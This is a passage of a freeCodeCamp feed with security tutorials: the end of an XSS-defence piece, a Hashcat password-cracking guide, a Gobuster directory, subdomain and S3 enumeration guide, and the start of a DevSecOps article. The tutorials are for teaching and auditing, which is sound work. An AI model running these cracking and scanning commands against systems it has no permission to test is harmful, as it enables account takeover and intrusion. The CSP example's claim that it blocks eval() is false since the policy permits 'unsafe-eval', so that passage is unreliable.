<h3 id="heading-accessing-a-users-private-information">Accessing a User's Private Information</h3>
<p>One of the most common WordPress security vulnerabilities involved with DOM XSS attacks is that attackers can gain useful information and even completely take over a user’s site. This can often make things escalate fast and cause complete data compromise.</p>
<h3 id="heading-impersonating-a-user">Impersonating a User</h3>
<p>Attackers can pretend to be the user, to interact with the victim’s online users, clients, and customers to gain their information.</p>
<h3 id="heading-compromising-a-site">Compromising a Site</h3>
<p>Another common cross-site scripting security issue with websites is that these attacks can compromise the website and take access from the user. This includes displaying deviating content on the site (or content that is not originally from the site).</p>
<p>Other cases may involve changing the way WordPress looks online. Other people may also exploit the website by installing explicit content.</p>
<h3 id="heading-social-engineering">Social Engineering</h3>
<p>In more severe cases, attackers may impact the WordPress site through phishing attempts. This is a common concern for web builder security vulnerabilities that we will discuss shortly.</p>
<p>The impact of XSS cross script-security issues varies for each website. However, WordPress sites are usually at a higher risk of these kinds of compromises because users save their personal information on the website. The risk increases further if the user is an admin, as the attacker can compromise the complete WordPress site.</p>
<h2 id="heading-dom-xss-and-closed-code-web-builder-platforms">DOM XSS and Closed Code Web Builder Platforms</h2>
<p>Website builders such as Weebly, Squarespace, Webflow and Wix, unlike WordPress, are non-open source platforms. They allow users to intuitively create websites for their businesses via drag and drop DIY features without any coding or design experience. They also work hard to protect their users' security. </p>
<p>There are tons of useful tools, options, easy-to-integrate dashboards, and hosting opportunities available for users instilling their trust in these platforms. Website security issues are of course a major concern for the majority of the users on these platforms.</p>
<p>Many website builders try their best to protect the sites of their users from <a target="_blank" href="https://techbullion.com/how-to-secure-your-online-store-from-hackers/">hacker threats</a>. But out of all of the website builders available, I believe that Wix follows the NIST framework for cyber security the best and has become a major contributor to improvements in this field. </p>
<p>Wix protects users on their sites from being vulnerable to these kinds of attacks online with tools such as:</p>
<ul>
<li>Third-party updates that project against DOM XSS attacks</li>
<li>A secure Sockets Layer that protects against unwanted access for users on site</li>
<li>Round-the-clock secure web hosting which protects users against any kind of unwanted logins or phishing attempts.</li>
<li>Granting its users admin privileges, which restrict site access and control to the original owner only</li>
<li>Highlighting weak passwords and suggesting more difficult-to-decipher passwords.</li>
</ul>
<h2 id="heading-ways-to-protect-against-xss-attacks">Ways to Protect Against XSS Attacks</h2>
<p>Defending your system and users against XSS attacks often requires a multifaceted approach to ensure that your servers and applications are protected against various types of attacks.</p>
<p>The best way to defend against XSS attacks is to properly sanitize user input. This means making sure that any user input is properly encoded so that it cannot be interpreted as code by the browser. </p>
<p>Additionally, you can use a web application firewall (WAF) to help identify and block XSS attacks. It's also a good idea to keep your software and web applications up to date, as many XSS vulnerabilities can be mitigated by simply applying the latest security patches.</p>
<h3 id="heading-input-validation">Input Validation</h3>
<p>This programming technique ensures that only properly-formatted data can enter a software system. Websites can either allow or block certain values to ensure that no XSS can penetrate their servers.</p>
<h3 id="heading-escaping-or-encoding-user-input">Escaping or Encoding User Input</h3>
<p>Encoding and escaping changes user input to make them safer for the system. Encoding replaces special characters with more harmless equivalents (for example, translating &lt; to &lt;), while escaping adds special characters to protect against injection attacks.</p>
<h3 id="heading-implementing-a-content-security-policy-csp">Implementing a Content Security Policy (CSP)</h3>
<p>Content security policies help administrators mitigate XSS attacks by restricting the resources a page can load at a given time. These resources can include scripts and images that could potentially harm clients and servers.</p>
<h2 id="heading-bottom-line">Bottom Line</h2>
<p>DOM XSS cross-site scripting security issues are a serious concern for users on websites. But closed code web building platforms provide features like admin privileges, password best practices, 3<sup>rd</sup> party updates, and much more. These features make them a more secure website building option than many open code platforms.</p>
<p>You can also prevent XSS attacks by filtering input once it arrives. You can do this by ensuring that only valid input is accepted.</p>
<p>When encoding data on output, the process should be done in HTTP responses so it will not be read as active content. More complex coding might be required, such as applying combinations of URL, JavaScript, CSS, and HTML encoding, depending on the context of output.</p>
<p>Keep response headers in check so browsers will have an appropriate interpretation of content.</p>
<p>Finally, use Content Security Policy (CSP) to minimize the severity of XSS attacks.</p>
<pre><code>&lt;meta http-equiv=<span class="hljs-string">"Content-Security-Policy"</span> content=<span class="hljs-string">"default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';"</span>&gt;
</code></pre><p>This CSP will allow your website to load scripts and styles from the same origin (that is, your own website), but it will block scripts and styles from external sources. It will also allow the use of inline scripts and styles, but it will block eval() statements, which can be used to execute arbitrary code.</p>
<p>Of course, this is just a simple example, and you can customize your CSP to suit your specific needs. For more information on how to use CSPs to defend against XSS attacks, you can refer to the Content Security Policy Level 2 specification.</p>
<p><em>Feature image via Unsplash (Florian Olivo).</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Crack Hashes with Hashcat — a Practical Pentesting Guide ]]>
                </title>
                <description>
                    <![CDATA[ Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing. Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted d... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/hacking-with-hashcat-a-practical-guide/</link>
                <guid isPermaLink="false">66d035cbccf811d3117aeec8</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 08 Dec 2022 15:55:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/12/hashcat-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hashing is one of the pillars of cybersecurity. From securing passwords to sensitive data, there are a variety of use cases for hashing.</p>
<p>Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted data can be reversed using a key. This is why applications like Telegram use encryption while passwords are hashed.</p>
<p>In this article, we will look at installing and working with <a target="_blank" href="https://hashcat.net/hashcat/">Hashcat</a>. Hashcat is a simple but powerful command line utility that helps us to – you guessed it – crack hashes.</p>
<p>We will first start by looking at how hashing works in detail.</p>
<blockquote>
<p><em>Note: All my articles are for educational purposes. If you use</em> this information <em>illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</em></p>
</blockquote>
<h2 id="heading-what-is-password-hashing">What is Password Hashing?</h2>
<p>Hashing is the process of converting an alphanumeric string into a fixed-size string by using a hash function. A hash function is a mathematical function that takes in the input string and generates another alphanumeric string.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-14.png" alt="Image" width="600" height="400" loading="lazy">
<em>How hashing works</em></p>
<p>There are many hashing algorithms like MD5, SHA1, and so on. To learn more about different hashing algorithms, <a target="_blank" href="https://www.okta.com/identity-101/hashing-algorithms/#:~:text=A%20hashing%20algorithm%20is%20a,and%20decoded%20by%20anyone%20else.">you can read the article here</a>.</p>
<p>The length of a hash is always a constant, irrespective of the length of the input. For example, if we use the MD5 algorithm and hash two strings like “Password123” and “HelloWorld1234”, the final hash will have a fixed length.</p>
<p>Here is the MD5 hash for “Password123”.</p>
<pre><code><span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
</code></pre><p>If we use the input string as “HelloWorld1234”, this will be the result:</p>
<pre><code><span class="hljs-number">850</span>eaebd5c4bb931dbb2bbcf7994c021
</code></pre><p>Now there is a similar algorithm called encoding. A popular encoding algorithm is base64. Here is how the same “Password123” will look if we encode it with base64:</p>
<pre><code>UGFzc3dvcmQxMjM=
</code></pre><p>So what is the difference between hashing and encoding? When we encode a string, it can be easily decoded to get the source string. But if we hash a string, we can never get to the source string (maybe with quantum computers, but that's another topic for discussion).</p>
<p>Hashing and encoding have different use cases. We can apply encoding to mask/simplify strings while hashing is used to secure sensitive data like passwords.</p>
<p>If hashes are not reversible, how would we compare the strings? Simple – we compare the hashes.</p>
<p>When we signup for a website, they will hash our password before saving it (hopefully!). When we try to log in again, the same hashing algorithm is used to generate a hash for our input. It is then compared with the original hash saved in the database.</p>
<p>This approach is also what gives rise to hashing attacks. A simple way to attack hashes is to have a list of common passwords hashed together. This list is called a <a target="_blank" href="https://en.wikipedia.org/wiki/Rainbow_table">Rainbow table</a>. Interesting name for a table of hashes.</p>
<p>Now that we know how hashing works, let's look at what Hashcat is.</p>
<h2 id="heading-what-is-hashcat">What is Hashcat?</h2>
<p>Hashcat is a fast password recovery tool that helps break complex password hashes. It is a flexible and feature-rich tool that offers many ways of finding passwords from hashes.</p>
<p>Hashcat is also one of the few tools that can work with the GPU. While CPUs are great for sequential tasks, GPUs have powerful parallel processing capabilities. GPUs are used in Gaming, Artificial intelligence, and can also be used to speed up password cracking.</p>
<p>Here is the <a target="_blank" href="https://www.intel.in/content/www/in/en/products/docs/processors/cpu-vs-gpu.html">difference between a CPU and a GPU</a> if you want to learn more.</p>
<p>Other notable features of Hashcat include:</p>
<ul>
<li>Fully open source.</li>
<li>Support for more than 200 hashing algorithms.</li>
<li>Support for Windows, Linux, and Mac.</li>
<li>Support for cracking multiple hashes in parallel.</li>
<li>Built-in benchmarking system.</li>
</ul>
<p>Now that we know what Hashcat is, let's go and install it.</p>
<h2 id="heading-how-to-install-hashcat">How to Install Hashcat</h2>
<p>Hashcat comes pre-installed in Kali and Parrot OS. To install it in Ubuntu / Debian-based systems, use the following command:</p>
<pre><code>$ apt install hashcat
</code></pre><p>To install it on a Mac, you can use <a target="_blank" href="https://brew.sh/">Homebrew</a>. Here is the command:</p>
<pre><code>$ brew install hashcat
</code></pre><p>For other operating systems, a full list of installation instructions can be <a target="_blank" href="https://hashcat.net/hashcat/https://hashcat.net/hashcat/">found here</a>.</p>
<p>Once the installation is done, we can check Hashcat’s help menu using this command:</p>
<pre><code>$ hashcat -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-15.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat help menu</em></p>
<p>In addition to Hashcat, we will also need a wordlist. A word list is a list of commonly used terms. This can be a <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt">password wordlist</a>, <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt">username wordlist</a>, subdomain wordlist, and so on.</p>
<p>A popular password wordlist is <a target="_blank" href="https://github.com/teamstealthsec/wordlists/blob/master/rockyou.txt.gz">rockyou.txt</a>. It contains a list of commonly used passwords and is popular among pen testers. You can find the Rockyou wordlist under /usr/share/wordlists in Kali Linux.</p>
<h2 id="heading-how-to-work-with-hashcat">How to Work with Hashcat</h2>
<p>Now that we know what hashing and Hashcat are, let’s start cracking some passwords.</p>
<p>Before cracking a hash, let's create a couple of hashes to work with. We can use a site like <a target="_blank" href="https://www.browserling.com/tools/all-hashes">Browserling</a> to generate hashes for input strings.</p>
<p>Let’s create two hashes: A MD5 hash and a SHA1 hash for the string “Password123”. I'm using a weak password to help you understand how easy it is to crack these passwords.</p>
<p>Here are the generated hashes for the input strings.</p>
<pre><code>MD5 hash -&gt; <span class="hljs-number">42</span>f749ade7f9e195bf475f37a44cafcb
SHA1 hash -&gt; b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1
</code></pre><p>We can store these hashes under the names md5.txt and sha1.txt to use them when working with Hashcat.</p>
<p>To crack a password using Hashcat, here is the general syntax.</p>
<pre><code>$ hashcat -m value -a value hashfile wordlist
</code></pre><p>Let’s dissect the syntax. We have used two flags, <code>-m</code> and <code>-a</code> . The <code>-m</code> flag is used to specify the hash type and the <code>-a</code> flag is to specify the attack mode. You can find the <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=hashcat">list of hash types and attack modes here</a>.</p>
<p>Let’s crack our md5 hash first. We will crack this hash using the Dictionary mode. This is a simple attack where we provide a list of words (RockYou) from which Hashcat will generate and compare hashes.</p>
<p>We can specify the hash mode as “md5” using the value 0. But Hashcat can also identify the hash type automatically for common hash algorithms.</p>
<p>For the attack mode, we will be using the dictionary mode (0) using the flag <code>-a</code>. Here is the full command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">0</span> -a <span class="hljs-number">0</span> md5.txt rockyou.txt
</code></pre><p>Hashcat will quickly find the value for the hash, in this case, “Password123”:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-16.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat MD5 crack</em></p>
<p>Looks simple, doesn't it? Now let’s crack our SHA hash. The hash mode value for SHA1 is 100. Here is the command:</p>
<pre><code>$ hashcat -m <span class="hljs-number">100</span> -a <span class="hljs-number">0</span> sha1.txt rockyou.txt
</code></pre><p>And here is the output from Hashcat:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-17.png" alt="Image" width="600" height="400" loading="lazy">
<em>Hashcat SHA1 crack</em></p>
<p>Hashcat supports almost all hashing algorithms with various attack modes. Let's look at a few attack modes and see how they work.</p>
<h3 id="heading-dictionary-attack-a-0">Dictionary attack (-a 0)</h3>
<p>As we saw in our example above, a dictionary attack is performed by using a wordlist. A dictionary attack is also the default option in Hashcat. The better the wordlist is, the greater the chances of cracking the password.</p>
<h3 id="heading-combinator-attack-a-1">Combinator attack (-a 1)</h3>
<p>The combinator attack will try different combinations of words from our wordlist. For example, if our wordlist contains the words “pass”, ”123", and ”hello”, Hashcat will generate the following wordlist.</p>
<pre><code>passpass
pass123
passhello
<span class="hljs-number">123</span>pass
<span class="hljs-number">123123</span>
<span class="hljs-number">123</span>hello
hellopass
hello123
hellohello
</code></pre><p>As you can see, using a simple wordlist can give us a number of combinations. This attack is great if we know some terms that might be used in the password. Keep in mind that, the larger the initial wordlist, the more complicated the final wordlist gets.</p>
<h3 id="heading-mask-attack-a-3">Mask attack (-a 3)</h3>
<p>The mask attack is similar to the dictionary attack, but it is more specific. Brute-force approaches like dictionary attacks can take a long time to crack a password. But if we have information regarding the password, we can use that to speed up the time it takes to crack the password.</p>
<p>For example, if we know the length of the password and a few characters that might be in the password, we can generate a custom wordlist with those characters.</p>
<p>The mask attack is out of scope for this article, but you can <a target="_blank" href="https://hashcat.net/wiki/doku.php?id=mask_attackhttps://hashcat.net/wiki/doku.php?id=mask_attack">learn more about mask attacks here</a>.</p>
<p>In addition to these common attack types, there are more attack modes in Hashcat. This includes Hybrid mode, Permutation attack, Rule-based attack, and so on. Each of these modes can be used for specific use cases and to speed up password cracking.</p>
<h2 id="heading-how-to-defend-against-hashcat">How to Defend Against Hashcat</h2>
<p>The first and obvious step is to set strong passwords. The stronger the password is, the harder it is to crack it. You can check if your password has been <a target="_blank" href="https://haveibeenpwned.com/">exposed to the internet here</a>.</p>
<p>A more effective way is to <a target="_blank" href="https://www.freecodecamp.org/news/why-a-little-salt-can-be-great-for-your-passwords/">add salts to password hashes</a>. A salt is an additional string added to the existing password so the hash generated is different from the normal hash of a string.</p>
<p>For example, if a string “sdf909” is added to a password “Password123”, Rainbow table attacks will immediately fail since they don't have hashes with the salt added to them.</p>
<p>To crack a salted password, the attacker should know both the hash and salt values. This makes it harder to crack hashes using methods such as Rainbow tables.</p>
<p>We can further strengthen salting by using dynamic salts instead of static salts. We can write a function that generates a salt value for every string making it exponentially harder to crack a salted password.</p>
<p>You can <a target="_blank" href="https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/">read this article</a> to learn more about how Salts work in password hashing.</p>
<h2 id="heading-summary">Summary</h2>
<p>Hashing is the method of using a mathematical function to generate a random string. It is a one-way function and helps to secure data such as user passwords.</p>
<p>Hashcat is a powerful tool that helps to crack password hashes. Hashcat supports most hashing algorithms and can work with a variety of attack modes. </p>
<p>To enforce security and protect hashes from attacks, use strong passwords and salts before hashing passwords.</p>
<p><em>Loved this article? Join</em> <a target="_blank" href="https://tinyletter.com/stealthsecurity"><em>Stealth Security Weekly Newsletter</em></a> <em>and get articles delivered to your inbox every Friday. You can also</em> <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/"><em>connect with me</em></a> <em>on Linkedin.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Gobuster Tutorial – How to Find Hidden Directories, Sub-Domains, and S3 Buckets ]]>
                </title>
                <description>
                    <![CDATA[ There’s much more to web servers and websites than what appears on the surface. The first step an attacker uses when attacking a website is to find the list of URLs and sub-domains. Web developers often expose sensitive files, URL paths, or even sub-... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/gobuster-tutorial-find-hidden-directories-sub-domains-and-s3-buckets/</link>
                <guid isPermaLink="false">66d035c5c1024fe75b758f16</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 05 Dec 2022 23:40:58 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/12/Stealth-Security---Blog-Banner--25-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>There’s much more to web servers and websites than what appears on the surface.</p>
<p>The first step an attacker uses when attacking a website is to find the list of URLs and sub-domains. Web developers often expose sensitive files, URL paths, or even sub-domains while building or maintaining a site.</p>
<p>This is a great attack vector for malicious actors.</p>
<p>For example, if you have an e-commerce website, you might have a sub-domain called “admin”. This might not be linked anywhere on the site but since the keyword “admin” is common, the URL is very easy to find. This is why you must often scan your websites to check for unprotected assets.</p>
<p>The usual approach is to rely on passive enumeration sites like <a target="_blank" href="http://crt.sh/">crt.sh</a> to find sub-domains. But these passive approaches are very limited and can often miss critical attack vectors.</p>
<p>Gobuster is a tool that helps you perform active scanning on web sites and applications. Attackers use it to find attack vectors and we can use it to defend ourselves.</p>
<p>In this article, we’ll learn to install and work with Gobuster. We will also look at the options provided by Gobuster in detail. Finally, we will learn how to defend against these types of brute-force attacks.</p>
<p>Note: <strong>All my articles are for educational purposes.</strong> If you use this information illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.</p>
<h2 id="heading-what-is-gobuster"><strong>What is Gobuster?</strong></h2>
<p>Written in the <a target="_blank" href="https://go.dev/">Go language</a>, Gobuster is an aggressive scanner that helps you find hidden Directories, URLs, Sub-Domains, and S3 Buckets seamlessly.</p>
<p>This is where people ask: <a target="_blank" href="https://blog.stealthsecurity.io/fuzzing-web-applications-using-ffuf-c4ad74190b72">What about Ffuf</a>?</p>
<p>Ffuf is a wonderful web fuzzer, but Gobuster is a faster and more flexible alternative. Gobuster also has support for extensions with which we can amplify its capabilities. Gobuster also can scale using multiple threads and perform parallel scans to speed up results.</p>
<h2 id="heading-how-to-install-gobuster"><strong>How to Install Gobuster</strong></h2>
<p>Let’s see how to install Gobuster. If you are using Kali or Parrot OS, Gobuster will be pre-installed.</p>
<p>If you are using Ubuntu or Debian-based OS, you can use <code>apt</code> to install Gobuster.</p>
<pre><code>$ apt install gobuster
</code></pre><p>To install Gobuster on Mac, you can use Homebrew.</p>
<pre><code>$ brew install gobuster
</code></pre><p>To install Gobuster on Windows and other versions of Linux, you can find the <a target="_blank" href="https://github.com/OJ/gobuster">installation instructions here</a>.</p>
<p>Once you have finished installing, you can check your installation using the help command.</p>
<pre><code>$ gobuster -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-1.png" alt="Image" width="600" height="400" loading="lazy">
<em>Gobuster help command</em></p>
<h2 id="heading-what-are-wordlists"><strong>What are Wordlists?</strong></h2>
<p>If you are new to wordlists, a wordlist is a list of commonly used terms. This can be a <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt">password wordlist</a>, <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt">username wordlist</a>, subdomain wordlist, and so on. You can find a lot of <a target="_blank" href="https://github.com/danielmiessler/SecLists">useful wordlists here</a>.</p>
<p>I would recommend downloading <a target="_blank" href="https://github.com/danielmiessler/SecLists">Seclists</a>. Seclists is a collection of multiple types of lists used during security assessments. This includes usernames, passwords, URLs, etc. If you are using Kali Linux, you can find seclists under /usr/share/wordlists.</p>
<p>To try Gobuster in real-time, you can either use your own website or use a practice web app like the <a target="_blank" href="https://github.com/digininja/DVWA">Damn Vulnerable Web app</a> (DVWA). DVWA is an intentionally misconfigured vulnerable web application that is used by pen testers for practicing web application attacks.</p>
<h2 id="heading-how-to-work-with-gobuster"><strong>How to Work with Gobuster</strong></h2>
<p>Now that we have installed Gobuster and the required wordlists, let’s start busting with Gobuster.</p>
<p>Note: I have DWVA running at 10.10.171.247 at port 80, so I ll be using that for the examples. Just replace that with your website URL or IP address. I'll also be using Kali linux as the attacking machine.</p>
<p>If you look at the help command, we can see that Gobuster has a few modes.</p>
<ol>
<li>dir — Directory enumeration mode.</li>
<li>dns — Subdomain enumeration mode.</li>
<li>fuzz — Fuzzing mode.</li>
<li>s3 — S3 enumeration mode.</li>
<li>vhost — Vhost enumeration mode.</li>
</ol>
<p>In this article, we will look at three modes: dir, dns, and s3 modes.</p>
<p>Each mode serves a unique purpose and helps us to brute force and find what we are looking for. Let's look at the three modes in detail.</p>
<h3 id="heading-how-to-use-directory-mode-dir">How to use directory mode (dir)</h3>
<p>Gobuster's directory mode helps us to look for hidden files and URL paths. This can include images, script files, and almost any file that is exposed to the internet.</p>
<p>Here is the command to run the dir mode:</p>
<pre><code>$ gobuster dir -u &lt;url&gt; -w &lt;wordlist&gt;
</code></pre><p>We can also use the help mode to find the additional flags that Gobuster provides with the dir mode.</p>
<pre><code>$ gobuster dir -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-2.png" alt="Image" width="600" height="400" loading="lazy">
<em>Gobuster dir mode help</em></p>
<p>Now let’s try the dir mode. Here is the command to look for URLs with the common wordlist.</p>
<pre><code>$ gobuster dir -u <span class="hljs-number">10.10</span><span class="hljs-number">.171</span><span class="hljs-number">.247</span>:<span class="hljs-number">80</span> -w /usr/share/wordlists/dirb/common.txt
</code></pre><p>And here is the result. We can see that there are some exposed files in the DVWA website.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-3.png" alt="Image" width="600" height="400" loading="lazy">
<em>dir enumeration results</em></p>
<p>If we want to look just for specific file extensions, we can use the -x flag. Here is a sample command to filter images:</p>
<pre><code>$ gobuster dir -u <span class="hljs-number">10.10</span><span class="hljs-number">.171</span><span class="hljs-number">.247</span>:<span class="hljs-number">80</span> -w /usr/share/wordlists/dirb/common.txt -x jpg,png,jpeg
</code></pre><h3 id="heading-how-to-use-dns-mode-dns">How to use DNS mode (dns)</h3>
<p>You can use DNS mode to find hidden subdomains in a target domain. For example, if you have a domain named mydomain.com, sub-domains like admin.mydomain.com, support.mydomain.com, and so on can be found using Gobuster.</p>
<p>Let’s start by looking at the help command for dns mode.</p>
<pre><code>$ gobuster dns -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-4.png" alt="Image" width="600" height="400" loading="lazy">
<em>Gobuster dns help</em></p>
<p>To execute a dns enumeration, we can use the following command:</p>
<pre><code>$ gobuster dns -d mydomain.com -w /usr/share/wordlists/dirb/common.txt
</code></pre><p>Since we can't enumerate IP addresses for sub-domains, we have to run this scan only on websites we own or the ones we have permission to scan.</p>
<pre><code>$gobuster s3 -h
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/12/image-5.png" alt="Image" width="600" height="400" loading="lazy">
<em>Gobuster S3 mode help</em></p>
<p>S3 mode was recently added to Gobuster and is a great tool to discover public S3 buckets. Since S3 buckets have unique names, they can be enumerated by using a specific wordlist.</p>
<p>For example, if we have a company named Acme, we can use a wordlist with acme-admin, acme-user, acme-images, and so on. This wordlist can then be fed into Gobuster to find if there are public buckets matching the bucket names in the wordlist.</p>
<p>Here is the command to execute an S3 enumeration using Gobuster:</p>
<pre><code>$gobuster s3 -w bucket_list.txt
</code></pre><h2 id="heading-how-to-defend-against-gobuster"><strong>How to Defend Against Gobuster</strong></h2>
<p>Gobuster is a remarkable tool that you can use to find hidden directories, URLs, sub-domains, and S3 Buckets.</p>
<p>But this enables malicious hackers to use it and attack your web application assets as well. So how do we defend against Gobuster?</p>
<p>You can use the following steps to prevent and stop brute-force attacks on your web application.</p>
<ol>
<li><strong>Audit yourself:</strong> Use Gobuster on your own applications and perform an audit. This will help you find the information that will be visible to the attackers.</li>
<li><strong>Apply security policies:</strong> To prevent resources like S3 from being exposed on the internet, use AWS bucket policies to prevent unauthorized access.</li>
<li><strong>Use bot protection solutions:</strong> Bot protection services like Cloudflare will stop any brute-force attacks making it incredibly difficult to attack your web application.</li>
</ol>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Gobuster is a fast brute-force tool to discover hidden URLs, files, and directories within websites. This will help us to remove/secure hidden files and sensitive data.</p>
<p>Gobuster also helps in securing sub-domains and virtual hosts from being exposed to the internet. Overall, Gobsuter is a fantastic tool to help you reduce your application’s attack surface.</p>
<p><em>Loved this article? Join</em> <a target="_blank" href="https://tinyletter.com/stealthsecurity"><em>Stealth Security Weekly Newsletter</em></a> <em>and get articles delivered to your inbox every Friday. You can also</em> <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/"><em>connect with me</em></a> _on Linked_I<em>n.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Can DevSecOps Improve Cloud Security? ]]>
                </title>
                <description>
                    <![CDATA[ By Andrej Kovacevic There’s no doubt that DevSecOps is on the rise, as the need for fast but highly secure application delivery increases. A report by Emergen Research shows that the DevSecOps market is set to reach a $23.42 billion value in 2028 wit... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-devsecops-can-improve-cloud-security/</link>
                <guid isPermaLink="false">66d45d9d052ad259f07e4a67</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Devops ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 26 Oct 2022 21:28:20 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/10/devsecops-role-guide.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Andrej Kovacevic</p>
<p>There’s no doubt that DevSecOps is on the rise, as the need for fast but highly secure application delivery increases.</p>
<p>A <a target="_blank" href="https://www.prnewswire.com/news-releases/devsecops-market-size-to-reach-usd-23-42-billion-in-2028--rising-need-for-repeatable-and-adaptive-processes-and-increasing-need-for-custom-code-security-are-key-factors-driving-industry-demand-says-emergen-research-301481508.html">report by Emergen Research</a> shows that the DevSecOps market is set to reach a $23.42 billion value in 2028 with a CAGR of 32.2 percent over the forecast period 2020-2028. </p>
<p>Notably, this growth does not only address the growing importance of security in rapid application development and delivery. It also has a significant positive impact on cloud security. </p>
<p>As organizations see increased use of cloud computing and SaaS applications, the adoption of DevSecOps is also becoming more appealing.</p>
<h2 id="heading-the-current-cloud-security-situation">The Current Cloud Security Situation</h2>
<p>A <a target="_blank" href="https://cloudsecurityalliance.org/blog/2022/05/02/the-state-of-data-security-in-2022">survey</a> on the state of cloud data security in 2022 conducted in partnership with Gartner shows that an overwhelming majority of organizations (over 90 percent) say they struggle with the enforcement of security policies around their data. This is because of various reasons, which add to cloud security difficulties.</p>
<p>Conventional solutions no longer cut it, and <a target="_blank" href="https://www.checkpoint.com/cyber-hub/cloud-security/what-is-cloud-security/">cloud security</a> needs to level up to match the different challenges brought about by growing cloud adoption and the complexities that come with it. </p>
<p>These challenges include the following:</p>
<h3 id="heading-visibility-and-tracking-inadequacies">Visibility and tracking inadequacies</h3>
<p>As organizations embrace Software-as-a-Service (SaaS) apps and the Infrastructure-as-a-Service (IaaS) model, they face the challenge of protecting data and assets that are usually beyond their control. </p>
<p>Typically, cloud service providers do not provide customers full control over the infrastructure layer. This produces a lack of visibility and control in the context of security.</p>
<h3 id="heading-broader-attack-surfaces">Broader attack surfaces</h3>
<p>Threat actors are particularly attracted to organizations that use the public cloud environment. It is relatively easy to attack with zero-day, malware, account takeover, and other attacks in the absence of reliable security solutions.</p>
<h3 id="heading-workload-changes">Workload changes</h3>
<p>The dynamic nature of cloud asset provisioning and decommissioning makes it difficult to protect them, especially when scaling and agility are involved.</p>
<h3 id="heading-complex-environments">Complex environments</h3>
<p>Hybrid and multi-cloud environments appear to be preferred by many organizations at present because of <a target="_blank" href="https://www.techradar.com/news/benefits-of-a-hybrid-multicloud-strategy">various advantages</a>. But this results in security management complexities and the need for security tools and solutions that seamlessly work with each other.</p>
<h3 id="heading-the-need-for-granular-privilege-and-key-management">The need for granular privilege and key management</h3>
<p>Because of the number of users that access cloud assets, it is not uncommon for access or privileges to be granted loosely. Extensive privileges are usually provided to avoid having to implement specific configurations for different users or user groups. </p>
<p>This can be problematic for security. With the use of SaaS apps, for example, when keys and privileges are given carelessly, sessions can be exposed to various security risks.</p>
<h3 id="heading-weakening-of-cloud-standards-compliance-benefits">Weakening of cloud standards compliance benefits</h3>
